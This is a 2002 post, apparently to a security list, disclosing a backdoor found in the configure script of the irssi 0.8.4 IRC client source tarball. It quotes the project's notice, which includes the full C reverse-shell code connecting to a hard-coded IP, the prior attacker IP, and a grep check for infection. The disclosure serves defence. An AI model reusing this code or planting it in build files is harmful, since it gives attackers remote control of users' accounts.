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Irssi IRC Chat Client Backdoor
27 May 2002
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I just discovered this on the irssi homepage (irssi is a new, popular IRC chat client for those who didnt know).

"Just noticed, not sure for how long it's been there. I heard the first change in the irssi-0.8.4.tar.gz's checksum was 2002/04/19. Guess I'll have to start watching those myself from now on.. I'm moving the main.irssi.org elsewhere for now, mirrors should pick up the DNS change and update themselves automatically..

This code was found from configure - it forks a new process, connects to some server and gives stdin/out/err to it (ie. giving remote access to your account):

int s;
struct sockaddr_in sa;
switch(fork()) { case 0: break; default: exit(0); }
if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
exit(1);
}
/* HP/UX 9 (%@#!) writes to sscanf strings */
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6667);
sa.sin_addr.s_addr = inet_addr("204.120.36.206");
if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
exit(1);
}
dup2(s, 0); dup2(s, 1); dup2(s, 2);

Also the IP just changed yesterday from 209.164.15.215. If you still have the irssi sources, you can see if you're affected with grep SOCK_STREAM configure - if it returns anything, something might have been done to your system."

- End of quote.

Take care,
Martin Östlund.


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